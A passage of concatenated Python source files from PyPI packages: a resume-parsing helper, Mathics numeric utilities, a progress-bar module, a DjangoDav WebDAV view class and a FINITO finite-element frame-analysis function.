in cs.EDUCATION and tex not in cs.STOPWORDS: edu[tex] = text + nlp_text[index + 1] except IndexError: pass # Extract year education = [] for key in edu.keys(): year = re.search(re.compile(cs.YEAR), edu[key]) if year: education.append((key, ''.join(year.group(0)))) else: education.append(key) return education def extract_experience(resume_text): ''' Helper function to extract experience from resume text :param resume_text: Plain resume text :return: list of experience ''' wordnet_lemmatizer = WordNetLemmatizer() stop_words = set(stopwords.words('english')) # word tokenization word_tokens = nltk.word_tokenize(resume_text) # remove stop words and lemmatize filtered_sentence = [ w for w in word_tokens if w not in stop_words and wordnet_lemmatizer.lemmatize(w) not in stop_words ] sent = nltk.pos_tag(filtered_sentence) # parse regex cp = nltk.RegexpParser('P: {<NNP>+}') cs = cp.parse(sent) # for i in cs.subtrees(filter=lambda x: x.label() == 'P'): # print(i) test = [] for vp in list( cs.subtrees(filter=lambda x: x.label() == 'P') ): test.append(" ".join([ i[0] for i in vp.leaves() if len(vp.leaves()) >= 2]) ) # Search the word 'experience' in the chunk and # then print out the text after it x = [ x[x.lower().index('experience') + 10:] for i, x in enumerate(test) if x and 'experience' in x.lower() ] return x
PypiClean
/Mathics-1.0.tar.gz/Mathics-1.0/mathics/core/numbers.py
from __future__ import unicode_literals from __future__ import absolute_import import six import sympy import mpmath from math import log, ceil from six.moves import range import string C = log(10, 2) # ~ 3.3219280948873626 # Number of bits of machine precision machine_precision = 53 machine_epsilon = 2 ** (1 - machine_precision) def reconstruct_digits(bits): ''' Number of digits needed to reconstruct a number with given bits of precision. >>> reconstruct_digits(53) 17 ''' return int(ceil(bits / C) + 1) class PrecisionValueError(Exception): pass class SpecialValueError(Exception): def __init__(self, name): self.name = name def _get_float_inf(value, evaluation): value = value.evaluate(evaluation) if value.has_form('DirectedInfinity', 1): if value.leaves[0].get_int_value() == 1: return float('inf') elif value.leaves[0].get_int_value() == -1: return float('-inf') else: return None return value.round_to_float(evaluation) def get_precision(value, evaluation): from mathics.core.expression import Symbol, MachineReal if value.get_name() == 'System`MachinePrecision': return None else: dmin = _get_float_inf(Symbol('$MinPrecision'), evaluation) dmax = _get_float_inf(Symbol('$MaxPrecision'), evaluation) d = value.round_to_float(evaluation) assert dmin is not None and dmax is not None if d is None: evaluation.message('N', 'precbd', value) elif d < dmin: dmin = int(dmin) evaluation.message('N', 'precsm', value, MachineReal(dmin)) return dmin elif d > dmax: dmax = int(dmax) evaluation.message('N', 'preclg', value, MachineReal(dmax)) return dmax else: return d raise PrecisionValueError() def get_type(value): if isinstance(value, sympy.Integer): return 'z' elif isinstance(value, sympy.Rational): return 'q' elif isinstance(value, sympy.Float) or isinstance(value, mpmath.mpf): return 'f' elif (isinstance(value, sympy.Expr) and value.is_number and not value.is_real) or isinstance(value, mpmath.mpc): return 'c' else: return None def same(v1, v2): return get_type(v1) == get_type(v2) and v1 == v2 def dps(prec): return max(1, int(round(int(prec) / C - 1))) def prec(dps): return max(1, int(round((int(dps) + 1) * C))) def min_prec(*args): result = None for arg in args: prec = arg.get_precision() if result is None or (prec is not None and prec < result): result = prec return result def pickle_mp(value): return (get_type(value), str(value)) def unpickle_mp(value): type, value = value if type == 'z': return sympy.Integer(value) elif type == 'q': return sympy.Rational(value) elif type == 'f': return sympy.Float(value) else: return value # algorithm based on # http://stackoverflow.com/questions/5110177/how-to-convert-floating-point-number-to-base-3-in-python # nopep8 def convert_base(x, base, precision=10): sign = -1 if x < 0 else 1 x *= sign length_of_int = 0 if x == 0 else int(log(x, base)) iexps = list(range(length_of_int, -1, -1)) digits = string.digits + string.ascii_lowercase if base > len(digits): raise ValueError def convert(x, base, exponents): out = [] for e in exponents: d = int(x / (base ** e)) x -= d * (base ** e) out.append(digits[d]) if x == 0 and e < 0: break return out int_part = convert(int(x), base, iexps) if sign == -1: int_part.insert(0, '-') if isinstance(x, (float, sympy.Float)): fexps = list(range(-1, -int(precision + 1), -1)) real_part = convert(x - int(x), base, fexps) return "%s.%s" % (''.join(int_part), ''.join(real_part)) elif isinstance(x, six.integer_types): return ''.join(int_part) else: raise TypeError(x) def convert_int_to_digit_list(x, base): if x == 0: return [0] x = abs(x) length_of_int = int(log(x, base)) + 1 iexps = list(range(length_of_int, -1, -1)) def convert(x, base, exponents): out = [] for e in exponents: d = int(x // (base ** e)) x -= d * (base ** e) if out or d != 0: # drop any leading zeroes out.append(d) if x == 0 and e < 0: break return out return convert(x, base, iexps)
PypiClean
/Mozaiku-1.0.5.tar.gz/Mozaiku-1.0.5/mozaiku/utils.py
from math import ceil from time import time __all__ = [ 'progress_bar_func', 'log_func' ] def log_func(func, message, log, *args, **kwargs): if log: print(message + '...') result = func(*args, **kwargs) print('\tDone.\n') return result return func(*args) def progress_bar_func( total: int, display: bool, length: int = 50 ): class Progress: ''' real progress bar class ''' def __init__(self, total, length) -> None: self.total = total self.length = length self.progress = 0 self.fill = '█' self.empty = '-' self.tot_str = str(total) self.start = time() string = ('0/' + self.tot_str).rjust(2 * len(self.tot_str) + 1) print(f'[00:00:00.000] - |{self.empty * self.length}| {string}', end = '') def update(self): self.progress += 1 fill = ceil(self.progress / self.total * self.length) empty = self.empty * (self.length - fill) string = str(self.progress) + '/' + self.tot_str string = string.rjust(2 * len(self.tot_str) + 1) timestr = self.get_time() print(f'\r[{timestr}] - |{self.fill * fill + empty}| {string}', end = '') def get_time(self): end = time() - self.start hours = str(int(end // 3600)) mins = str(int((end % 3600) // 60)) secs, msecs = str(round(end % 60, 3)).split('.') hours = '0' * (2 - len(hours)) + hours mins = '0' * (2 - len(mins )) + mins secs = '0' * (2 - len(secs )) + secs msecs += '0' * (3 - len(msecs)) return hours + ':' + mins + ':' + secs + '.' + msecs def end(self): string = str(self.progress) + '/' + self.tot_str string = string.rjust(2 * len(self.tot_str) + 1) timestr = self.get_time() print(f'\r[{timestr}] - |{self.fill * self.length}| {string}') class EmptyProgress: ''' fake progress bar class ''' def update(self): pass def end(self): pass if display: return Progress(total, length) return EmptyProgress()
PypiClean
/DjangoDav-0.0.1b16.tar.gz/DjangoDav-0.0.1b16/djangodav/views/views.py
import urllib, re try: import urlparse except ImportError: from urllib import parse as urlparse from sys import version_info as python_version from django.utils.timezone import now from lxml import etree from django.http import HttpResponseForbidden, HttpResponseNotAllowed, HttpResponseBadRequest, \ HttpResponseNotModified, HttpResponseRedirect, Http404 from django.utils.decorators import method_decorator from django.utils.functional import cached_property from django.utils.http import parse_etags from django.shortcuts import render_to_response from django.views.decorators.csrf import csrf_exempt from django.views.generic import View from djangodav.responses import ResponseException, HttpResponsePreconditionFailed, HttpResponseCreated, HttpResponseNoContent, \ HttpResponseConflict, HttpResponseMediatypeNotSupported, HttpResponseBadGateway, \ HttpResponseMultiStatus, HttpResponseLocked, HttpResponse from djangodav.utils import WEBDAV_NSMAP, D, url_join, get_property_tag_list, rfc1123_date from djangodav import VERSION as djangodav_version from django import VERSION as django_version, get_version PATTERN_IF_DELIMITER = re.compile(r'(<([^>]+)>)|(\(([^\)]+)\))') class DavView(View): resource_class = None lock_class = None acl_class = None template_name = 'djangodav/index.html' http_method_names = ['options', 'put', 'mkcol', 'head', 'get', 'delete', 'propfind', 'proppatch', 'copy', 'move', 'lock', 'unlock'] server_header = 'DjangoDav/%s Django/%s Python/%s' % ( get_version(djangodav_version), get_version(django_version), get_version(python_version) ) xml_pretty_print = False xml_encoding = 'utf-8' def no_access(self): return HttpResponseForbidden() @method_decorator(csrf_exempt) def dispatch(self, request, path, *args, **kwargs): if path: self.path = path self.base_url = request.META['PATH_INFO'][:-len(self.path)] else: self.path = '/' self.base_url = request.META['PATH_INFO'] meta = request.META.get self.xbody = kwargs['xbody'] = None if (request.method.lower() != 'put' and meta('CONTENT_TYPE', '').startswith('text/xml') and meta('CONTENT_LENGTH', 0) != '' and int(meta('CONTENT_LENGTH', 0)) > 0): self.xbody = kwargs['xbody'] = etree.XPathDocumentEvaluator( etree.parse(request, etree.XMLParser(ns_clean=True)), namespaces=WEBDAV_NSMAP ) if request.method.upper() in self._allowed_methods(): handler = getattr(self, request.method.lower(), self.http_method_not_allowed) else: handler = self.http_method_not_allowed try: resp = handler(request, self.path, *args, **kwargs) except ResponseException as e: resp = e.response if not 'Allow' in resp: methods = self._allowed_methods() if methods: resp['Allow'] = ", ".join(methods) if not 'Date' in resp: resp['Date'] = rfc1123_date(now()) if self.server_header: resp['Server'] = self.server_header return resp def options(self, request, path, *args, **kwargs): if not self.has_access(self.resource, 'read'): return self.no_access() response = self.build_xml_response() response['DAV'] = '1,2' response['Content-Length'] = '0' if self.path in ('/', '*'): return response response['Allow'] = ", ".join(self._allowed_methods()) if self.resource.exists and self.resource.is_object: response['Allow-Ranges'] = 'bytes' return response def _allowed_methods(self): allowed = ['HEAD', 'OPTIONS', 'PROPFIND', 'LOCK', 'UNLOCK'] if not self.resource.exists: parent = self.resource.get_parent() if not (parent.is_collection and parent.exists): return [] return allowed + ['GET', 'PUT', 'MKCOL'] allowed += ['GET', 'DELETE', 'PROPPATCH', 'COPY', 'MOVE'] if self.resource.is_object: allowed += ['PUT'] return allowed def get_access(self, resource): """Return permission as DavAcl object. A DavACL should have the following attributes: read, write, delete, create, relocate, list. By default we implement a read-only system.""" return self.acl_class(read=True, full=False) def has_access(self, resource, method): return getattr(self.get_access(resource), method) def get_resource_kwargs(self, **kwargs): return kwargs @cached_property def resource(self): return self.get_resource(path=self.path) def get_resource(self, **kwargs): return self.resource_class(**self.get_resource_kwargs(**kwargs)) def get_depth(self, default='1'): depth = str(self.request.META.get('HTTP_DEPTH', default)).lower() if not depth in ('0', '1', 'infinity'): raise ResponseException(HttpResponseBadRequest('Invalid depth header value %s' % depth)) if depth == 'infinity': depth = -1 else: depth = int(depth) return depth def evaluate_conditions(self, res): if not res.exists: return etag = res.get_etag() mtime = res.get_mtime_stamp() cond_if_match = self.request.META.get('HTTP_IF_MATCH', None) if cond_if_match: etags = parse_etags(cond_if_match) if '*' in etags or etag in etags: raise ResponseException(HttpResponsePreconditionFailed()) cond_if_modified_since = self.request.META.get('HTTP_IF_MODIFIED_SINCE', False) if cond_if_modified_since: # Parse and evaluate, but don't raise anything just yet... # This might be ignored based on If-None-Match evaluation. cond_if_modified_since = parse_time(cond_if_modified_since) if cond_if_modified_since and cond_if_modified_since > mtime: cond_if_modified_since = True else: cond_if_modified_since = False cond_if_none_match = self.request.META.get('HTTP_IF_NONE_MATCH', None) if cond_if_none_match: etags = parse_etags(cond_if_none_match) if '*' in etags or etag in etags: if self.request.method in ('GET', 'HEAD'): raise ResponseException(HttpResponseNotModified()) raise ResponseException(HttpResponsePreconditionFailed()) # Ignore If-Modified-Since header... cond_if_modified_since = False cond_if_unmodified_since = self.request.META.get('HTTP_IF_UNMODIFIED_SINCE', None) if cond_if_unmodified_since: cond_if_unmodified_since = parse_time(cond_if_unmodified_since) if cond_if_unmodified_since and cond_if_unmodified_since <= mtime: raise ResponseException(HttpResponsePreconditionFailed()) if cond_if_modified_since: # This previously evaluated True and is not being ignored... raise ResponseException(HttpResponseNotModified()) # TODO: complete If header handling... cond_if = self.request.META.get('HTTP_IF', None) if cond_if: if not cond_if.startswith('<'): cond_if = '<*>' + cond_if #for (tmpurl, url, tmpcontent, content) in PATTERN_IF_DELIMITER.findall(cond_if): def get(self, request, path, head=False, *args, **kwargs): if not self.resource.exists: raise Http404("Resource doesn't exists") if not path.endswith("/") and self.resource.is_collection: return HttpResponseRedirect(request.build_absolute_uri() + "/") if path.endswith("/") and self.resource.is_object: return HttpResponseRedirect(request.build_absolute_uri().rstrip("/")) response = HttpResponse() if head: response['Content-Length'] = 0 if not self.has_access(self.resource, 'read'): return self.no_access() if self.resource.is_object: response['Content-Type'] = self.resource.content_type response['ETag'] = self.resource.getetag if not head: response['Content-Length'] = self.resource.getcontentlength response.content = self.resource.read() elif not head: response = render_to_response(self.template_name, dict(resource=self.resource, base_url=self.base_url)) response['Last-Modified'] = self.resource.getlastmodified return response def head(self, request, path, *args, **kwargs): return self.get(request, path, head=True, *args, **kwargs) def put(self, request, path, *args, **kwargs): parent = self.resource.get_parent() if not parent.exists: raise Http404("Resource doesn't exists") if self.resource.is_collection: return self.no_access() if not self.resource.exists and not self.has_access(parent, 'write'): return self.no_access() if self.resource.exists and not self.has_access(self.resource, 'write'): return self.no_access() created = not self.resource.exists self.resource.write(request) if created: self.__dict__['resource'] = self.get_resource(path=self.resource.get_path()) return HttpResponseCreated() else: return HttpResponseNoContent() def delete(self, request, path, *args, **kwargs): if not self.resource.exists: raise Http404("Resource doesn't exists") if not self.has_access(self.resource, 'delete'): return self.no_access() self.lock_class(self.resource).del_locks() self.resource.delete() response = HttpResponseNoContent() self.__dict__['resource'] = self.get_resource(path=self.resource.get_path()) return response def mkcol(self, request, path, *args, **kwargs): if self.resource.exists: return HttpResponseNotAllowed(self._allowed_methods()) if not self.resource.get_parent().exists: return HttpResponseConflict() length = request.META.get('CONTENT_LENGTH', 0) if length and int(length) != 0: return HttpResponseMediatypeNotSupported() if not self.has_access(self.resource, 'write'): return self.no_access() self.resource.create_collection() self.__dict__['resource'] = self.get_resource(path=self.resource.get_path()) return HttpResponseCreated() def relocate(self, request, path, method, *args, **kwargs): if not self.resource.exists: raise Http404("Resource doesn't exists") if not self.has_access(self.resource, 'read'): return self.no_access() dst = urlparse.unquote(request.META.get('HTTP_DESTINATION', '')).decode(self.xml_encoding) if not dst: return HttpResponseBadRequest('Destination header missing.') dparts = urlparse.urlparse(dst) sparts = urlparse.urlparse(request.build_absolute_uri()) if sparts.scheme != dparts.scheme or sparts.netloc != dparts.netloc: return HttpResponseBadGateway('Source and destination must have the same scheme and host.') # adjust path for our base url: dst = self.get_resource(path=dparts.path[len(self.base_url):]) if not dst.get_parent().exists: return HttpResponseConflict() if not self.has_access(self.resource, 'write'): return self.no_access() overwrite = request.META.get('HTTP_OVERWRITE', 'T') if overwrite not in ('T', 'F'): return HttpResponseBadRequest('Overwrite header must be T or F.') overwrite = (overwrite == 'T') if not overwrite and dst.exists: return HttpResponsePreconditionFailed('Destination exists and overwrite False.') dst_exists = dst.exists if dst_exists: self.lock_class(self.resource).del_locks() self.lock_class(dst).del_locks() dst.delete() errors = getattr(self.resource, method)(dst, *args, **kwargs) if errors: return self.build_xml_response(response_class=HttpResponseMultiStatus) # WAT? if dst_exists: return HttpResponseNoContent() return HttpResponseCreated() def copy(self, request, path, xbody): depth = self.get_depth() if depth != -1: return HttpResponseBadRequest() return self.relocate(request, path, 'copy', depth=depth) def move(self, request, path, xbody): if not self.has_access(self.resource, 'delete'): return self.no_access() return self.relocate(request, path, 'move') def lock(self, request, path, xbody=None, *args, **kwargs): # TODO Lock refreshing if not self.has_access(self.resource, 'write'): return self.no_access() if not xbody: return HttpResponseBadRequest('Lockinfo required') try: depth = int(request.META.get('HTTP_DEPTH', '0')) except ValueError: return HttpResponseBadRequest('Wrong depth') try: timeout = int(request.META.get('HTTP_LOCK_TIMEOUT', 'Seconds-600')[len('Seconds-'):]) except ValueError: return HttpResponseBadRequest('Wrong timeout') owner = None try: owner_obj = xbody('/D:lockinfo/D:owner')[0] # TODO: WEBDAV_NS except IndexError: owner_obj = None else: if owner_obj.text: owner = owner_obj.text if len(owner_obj): owner = owner_obj[0].text try: lockscope_obj = xbody('/D:lockinfo/D:lockscope/*')[0] # TODO: WEBDAV_NS except IndexError: return HttpResponseBadRequest('Lock scope required') else: lockscope = lockscope_obj.xpath('local-name()') try: locktype_obj = xbody('/D:lockinfo/D:locktype/*')[0] # TODO: WEBDAV_NS except IndexError: return HttpResponseBadRequest('Lock type required') else: locktype = locktype_obj.xpath('local-name()') token = self.lock_class(self.resource).acquire(lockscope, locktype, depth, timeout, owner) if not token: return HttpResponseLocked('Already locked') body = D.activelock(*([ D.locktype(locktype_obj), D.lockscope(lockscope_obj), D.depth(unicode(depth)), D.timeout("Second-%s" % timeout), D.locktoken(D.href('opaquelocktoken:%s' % token))] + ([owner_obj] if owner_obj is not None else []) )) return self.build_xml_response(body) def unlock(self, request, path, xbody=None, *args, **kwargss): if not self.has_access(self.resource, 'write'): return self.no_access() token = request.META.get('HTTP_LOCK_TOKEN') if not token: return HttpResponseBadRequest('Lock token required') if not self.lock_class(self.resource).release(token): return self.no_access() return HttpResponseNoContent() def propfind(self, request, path, xbody=None, *args, **kwargs): if not self.has_access(self.resource, 'read'): return self.no_access() if not self.resource.exists: raise Http404("Resource doesn't exists") if not self.get_access(self.resource): return self.no_access() get_all_props, get_prop, get_prop_names = True, False, False if xbody: get_prop = [p.xpath('local-name()') for p in xbody('/D:propfind/D:prop/*')] get_all_props = xbody('/D:propfind/D:allprop') get_prop_names = xbody('/D:propfind/D:propname') if int(bool(get_prop)) + int(bool(get_all_props)) + int(bool(get_prop_names)) != 1: return HttpResponseBadRequest() children = self.resource.get_descendants(depth=self.get_depth()) if get_prop_names: responses = [ D.response( D.href(url_join(self.base_url, child.get_escaped_path())), D.propstat( D.prop(*[ D(name) for name in child.ALL_PROPS ]), D.status('HTTP/1.1 200 OK'), ), ) for child in children ] else: responses = [ D.response( D.href(url_join(self.base_url, child.get_escaped_path())), D.propstat( D.prop( *get_property_tag_list(child, *(get_prop if get_prop else child.ALL_PROPS)) ), D.status('HTTP/1.1 200 OK'), ), ) for child in children ] body = D.multistatus(*responses) return self.build_xml_response(body, HttpResponseMultiStatus) def proppatch(self, request, path, xbody, *args, **kwargs): if not self.resource.exists: raise Http404("Resource doesn't exists") if not self.has_access(self.resource, 'write'): return self.no_access() depth = self.get_depth(default="0") if depth != 0: return HttpResponseBadRequest('Invalid depth header value %s' % depth) props = xbody('/D:propertyupdate/D:set/D:prop/*') body = D.multistatus( D.response( D.href(url_join(self.base_url, self.resource.get_escaped_path())), *[D.propstat( D.status('HTTP/1.1 200 OK'), D.prop(el.tag) ) for el in props] ) ) return self.build_xml_response(body, HttpResponseMultiStatus) def build_xml_response(self, tree=None, response_class=HttpResponse, **kwargs): if tree is not None: content = etree.tostring( tree, xml_declaration=True, pretty_print=self.xml_pretty_print, encoding=self.xml_encoding ) else: content = b'' return response_class( content, content_type='text/xml; charset="%s"' % self.xml_encoding, **kwargs )
PypiClean
/FINITO_TOOLBOX-2022.2.tar.gz/FINITO_TOOLBOX-2022.2/FINITO_TOOLBOX/FINITO.py
import numpy as np import FINITO_TOOLBOX.FINITO_COMMON_LIBRARY as FINITO_CL import FINITO_TOOLBOX.FINITO_MEF1D_LIBRARY as FINITO_MEF1D import FINITO_TOOLBOX.FINITO_MEF2D_LIBRARY as FINITO_MEF2D def MEF1D(**kwargs): """ This function performs structural analysis of frame elements with 2 nodes (1 at each end). Input: All inputs kwargs arguments type. FILENAME | Structural dataset | .txt extension DICTIONARY | Structural dataset | Py dictionary | Dictionary and file tags | | TYPE_ELEMENT = Type element in Finito algorithm | Integer | 0 - Frame bar element | | TYPE_SOLUTION = Boundary conditions in system of equations | Integer | 0 - Condense procedure | | 1 - Zero and One algorithm | | N_NODES = Number of nodes | Integer | N_MATERIALS = Number of materials | Integer | N_SECTIONS = Number of sections | Integer | N_ELEMENTS = Number of frame elements | Integer | N_DOFPRESCRIPTIONS = Number of DOF displacement control | Integer | N_DOFLOADED = Number of DOF forces | Integer | N_DOFSPRINGS = Number of DOF spring elements | Integer | COORDINATES = Coordinates properties | Py Numpy array | Node, x, y | | ELEMENTS = Elements properties | Py Numpy array | Node 0 ... Node (N_NODES - 1), Material ID, | | Geometry ID, Hinge ID node 0, Hinge ID node 1 | | MATERIALS = Materials properties | Py Numpy array | Young, Poisson, Density, Thermal coefficient | | SECTIONS = Sections properties | Py Numpy array | Area, Inertia 1, Inertia Frame bar, X GC, Y GC | | PRESCRIPTIONS = Prescribed DOF displacement properties | Py Numpy array | Node, Direction (X = 0, Y = 1, Z = 2), Value | | NODAL_LOAD = Nodal DOF force properties | Py Numpy array | Node, Direction (X = 0, Y = 1, Z = 2), Value | | SPRINGS = Nodal DOF spring properties | Py Numpy array Node, Direction (X = 0, Y = 1, Z = 2), Value | Output: RESULTS | Structural analysis results by element | Py dictionary """ # Read input file FILENAME = kwargs.get('FILENAME') DICTIONARY = kwargs.get('DICTIONARY') if FILENAME: TYPE_SOLUTION, TYPE_ELEMENT, N_NODES, N_MATERIALS, N_SECTIONS, N_ELEMENTS, N_DOFPRESCRIPTIONS, N_ELEMENTSLOADED, N_DOFLOADED, N_DOFSPRINGS, COORDINATES, ELEMENTS, MATERIALS, SECTIONS, PRESCRIPTIONS, ELEMENT_EXTERNAL_LOAD, NODAL_LOAD, SPRINGS = FINITO_MEF1D.GET_VALUE_FROM_TXT_MEF1D_FINITO(FILENAME) else: TYPE_SOLUTION, TYPE_ELEMENT, N_NODES, N_MATERIALS, N_SECTIONS, N_ELEMENTS, N_DOFPRESCRIPTIONS, N_ELEMENTSLOADED, N_DOFLOADED, N_DOFSPRINGS, COORDINATES, ELEMENTS, MATERIALS, SECTIONS, PRESCRIPTIONS, ELEMENT_EXTERNAL_LOAD, NODAL_LOAD, SPRINGS = FINITO_MEF1D.GET_VALUE_FROM_DICT_MEF1D_FINITO(DICTIONARY) # Creating the algorithm's internal parameters N_DOFSNODE, N_NODESELEMENT, DOFS_LOCAL, AUX_1, AUX_2, N_DOFSELEMENT = FINITO_CL.INDEX_ASSEMBLY(TYPE_ELEMENT) # Global DOF assembly DOF_GLOBALNODAL = FINITO_CL.DOF_GLOBAL_ASSEMBLY(TYPE_ELEMENT, N_DOFSNODE, N_NODES) # DOF's total, prescriptions and free DOF_GLOBAL, N_DOFSGLOBAL = FINITO_CL.TOTAL_DEGREE_FREEDOM(N_DOFSNODE, N_NODES) DOF_PRESCRIPTIONS, DOF_PRESCRIPTIONSVALUE, N_DOFSPRESCRIPTIONS = FINITO_CL.PRESCRIPTIONS_DEGREE_FREEDOM(PRESCRIPTIONS, DOF_GLOBALNODAL) DOF_FREE, N_DOFSFREE = FINITO_CL.FREE_DEGREE_FREEDOM(DOF_PRESCRIPTIONS, DOF_GLOBAL) # Nodal load contribuition DOF_NODALFORCE = FINITO_CL.CONTRIBUTION_NODAL_EXTERNAL_LOAD(NODAL_LOAD, N_DOFSGLOBAL, DOF_GLOBALNODAL) # Element load contribuition if N_ELEMENTSLOADED > 0: DOF_ELEMENTFORCE = FINITO_MEF1D.CONTRBUITION_ELEMENT_EXTERNAL_LOAD(TYPE_ELEMENT, N_ELEMENTSLOADED, ELEMENT_EXTERNAL_LOAD, DOF_GLOBALNODAL, ELEMENTS, COORDINATES, SECTIONS, AUX_2, N_DOFSELEMENT, N_DOFSGLOBAL, N_NODESELEMENT, N_DOFSNODE) F_G = DOF_NODALFORCE + DOF_ELEMENTFORCE else: F_G = DOF_NODALFORCE # Structure stiffness matrix K_G = np.zeros((N_DOFSGLOBAL, N_DOFSGLOBAL)) # Hinged elements HINGES = FINITO_MEF1D.HINGED_PROPERTIES(ELEMENTS) for I_ELEMENT in range(N_ELEMENTS): # Material and section properties in j element MATERIAL_IELEMENT = FINITO_MEF1D.MATERIALS_PROPERTIES_0(ELEMENTS, MATERIALS, I_ELEMENT, AUX_1) SECTION_IELEMENT = FINITO_MEF1D.GEOMETRIC_PROPERTIES_0(COORDINATES, ELEMENTS, SECTIONS, I_ELEMENT, AUX_2) # i element stiffness matrix local axis K_IELEMENT = FINITO_MEF1D.ELEMENT_STIFFNESS_0(TYPE_ELEMENT, SECTION_IELEMENT, MATERIAL_IELEMENT, HINGES[I_ELEMENT, :]) # Rotation matrix R_IELEMENT = FINITO_MEF1D.ELEMENT_ROTATION(TYPE_ELEMENT, SECTION_IELEMENT) # i element stiffness matrix global axis K_IELEMENTGLOBAL = np.dot(np.dot(np.transpose(R_IELEMENT), K_IELEMENT), R_IELEMENT) # Global DOF i element DOF_GLOBALIELEMENT = FINITO_CL.GLOBAL_DOF_ELEMENT(N_NODESELEMENT, N_DOFSNODE, DOF_GLOBALNODAL, ELEMENTS, I_ELEMENT) # Global stiffness K_GCONTRIBUITION = FINITO_CL.GLOBAL_STIFFNESS(N_DOFSGLOBAL, DOF_GLOBALIELEMENT, K_IELEMENTGLOBAL) K_G = K_G + K_GCONTRIBUITION # Spring contribution if N_DOFSPRINGS > 0: SPRING_INDEX, SPRING_VALUES = FINITO_CL.SPRING_CONTRIBUTION(N_DOFSNODE, SPRINGS, N_DOFSPRINGS) for K_COUNT in range(N_DOFSPRINGS): SPRING_VALUE = SPRING_VALUES[K_COUNT] INDEX_DOF = SPRING_INDEX[K_COUNT] K_G[INDEX_DOF, INDEX_DOF] = K_G[INDEX_DOF, INDEX_DOF] + SPRING_VALUE # Displacement solution 0: Condense procedure if TYPE_SOLUTION == 0: # Condense displacements, forces and Stiffness matrix U_PP = FINITO_CL.CONDENSE_PRESCRIBED_GLOBAL_DISPLACEMENT(DOF_PRESCRIPTIONSVALUE, N_DOFSPRESCRIPTIONS) F_FF = FINITO_CL.CONDENSE_FREE_GLOBAL_FORCES(F_G, DOF_FREE, N_DOFSFREE) K_FF = FINITO_CL.CONDENSE_GLOBAL_FREE_STIFFNESS(K_G, DOF_FREE, N_DOFSFREE) K_PF = FINITO_CL.CONDENSE_PRESCRIBED_FREE_GLOBAL_STIFFNESS(K_G, DOF_FREE, N_DOFSFREE, DOF_PRESCRIPTIONS, N_DOFSPRESCRIPTIONS) # Displacement solution K_FFINVERSE = np.linalg.pinv(K_FF, rcond = 1e-15) U_FF = np.dot(K_FFINVERSE, F_FF - np.dot(np.transpose(K_PF), U_PP)) U_G = FINITO_CL.ASSEMBLY_TOTAL_DISPLACEMENT(U_FF, U_PP, N_DOFSGLOBAL, DOF_PRESCRIPTIONS, DOF_FREE) # Displacement solution 0: Zero and One procedure elif TYPE_SOLUTION == 1: K_G, F_G = FINITO_CL.ZERO_AND_ONE_METHOD(K_G, F_G, DOF_PRESCRIPTIONS, DOF_PRESCRIPTIONSVALUE) K_FFINVERSE = np.linalg.pinv(K_G, rcond = 1e-15) U_G = np.dot(K_FFINVERSE, F_G) # Internal loads # Frame division DIV = 11 # Start empty dictionary RESULTS = [{'X': np.empty(DIV), 'UX': np.empty(DIV), 'UY': np.empty(DIV), 'UZ': np.empty(DIV), 'N': np.empty(DIV), 'V': np.empty(DIV), 'M': np.empty(DIV), 'ID_ELEMENT': J_COUNT} for J_COUNT in range(N_ELEMENTS)] # Element evaluation for J_ELEMENT in range(N_ELEMENTS): # Material and section properties in j element MATERIAL_JELEMENT = FINITO_MEF1D.MATERIALS_PROPERTIES_0(ELEMENTS, MATERIALS, J_ELEMENT, AUX_1) SECTION_JELEMENT = FINITO_MEF1D.GEOMETRIC_PROPERTIES_0(COORDINATES, ELEMENTS, SECTIONS, J_ELEMENT, AUX_2) # j element stiffness matrix local axis K_JELEMENT = FINITO_MEF1D.ELEMENT_STIFFNESS_0(TYPE_ELEMENT, SECTION_JELEMENT, MATERIAL_JELEMENT, HINGES[J_ELEMENT, :]) # Rotation matrix R_JELEMENT = FINITO_MEF1D.ELEMENT_ROTATION(TYPE_ELEMENT, SECTION_JELEMENT) # Global DOF j element DOF_GLOBALJELEMENT = FINITO_CL.GLOBAL_DOF_ELEMENT(N_NODESELEMENT, N_DOFSNODE, DOF_GLOBALNODAL, ELEMENTS, J_ELEMENT) # Element global displacements U_GJELEMENT = FINITO_CL.CONDENSE_GLOBAL_ELEMENT_DISPLACEMENTS(U_G, N_DOFSELEMENT, DOF_GLOBALJELEMENT) # Element local displacements U_JELEMENT = np.dot(R_JELEMENT, U_GJELEMENT) # Internal force in j element (Node 0 and node 1 [x, y, tetha]) if N_ELEMENTSLOADED > 0: Q_X = 0 Q_Y = 0 for I in range(N_ELEMENTSLOADED): LOAD_ELEMENT = ELEMENT_EXTERNAL_LOAD[I, 0] if LOAD_ELEMENT == J_ELEMENT: L = SECTION_JELEMENT[0] SIN = SECTION_JELEMENT[1] COS = SECTION_JELEMENT[2] IDSIST = ELEMENT_EXTERNAL_LOAD[I, 1] Q_X = ELEMENT_EXTERNAL_LOAD[I, 2] Q_Y = ELEMENT_EXTERNAL_LOAD[I, 3] if IDSIST == 0: F_EQ = np.array([[Q_X * L / 2], [Q_Y * L / 2], [Q_Y * L ** 2 / 12], [Q_X * L / 2], [Q_Y * L / 2], [- Q_Y * L ** 2 / 12]]) elif IDSIST == 1: Q_X = Q_X * COS + Q_Y * SIN Q_Y = - Q_X * SIN + Q_Y * COS F_EQ = np.array([[Q_X * L / 2], [Q_Y * L / 2], [Q_Y * L ** 2 / 12], [Q_X * L / 2], [Q_Y * L / 2], [- Q_Y * L ** 2 / 12]]) else: F_EQ = np.zeros((N_DOFSELEMENT, 1)) F_ELINT = np.dot(K_JELEMENT, U_JELEMENT) - F_EQ else: F_ELINT = np.dot(K_JELEMENT, U_JELEMENT) # Internal force in j element (by division) for I_COUNT in range(DIV): # Local axis value X = SECTION_JELEMENT[0] * (I_COUNT) / (DIV - 1) if I_COUNT == 0: U_X = U_GJELEMENT[0, 0] U_Y = U_GJELEMENT[1, 0] U_Z = U_GJELEMENT[2, 0] elif I_COUNT == DIV - 1: U_X = U_GJELEMENT[3, 0] U_Y = U_GJELEMENT[4, 0] U_Z = U_GJELEMENT[5, 0] elif (I_COUNT != 0 and I_COUNT != DIV - 1): U_X = -1989 U_Y = -1989 U_Z = -1989 # Internal loads: Axial, Shear and Bending Moment N = -F_ELINT[0] - Q_X * X V = F_ELINT[1] + Q_Y * X M = -F_ELINT[2] + F_ELINT[1] * X + (Q_Y * X ** 2) / 2 # Save results in dictioonary RESULTS[J_ELEMENT]['X'][I_COUNT] = X RESULTS[J_ELEMENT]['UX'][I_COUNT] = U_X RESULTS[J_ELEMENT]['UY'][I_COUNT] = U_Y RESULTS[J_ELEMENT]['UZ'][I_COUNT] = U_Z 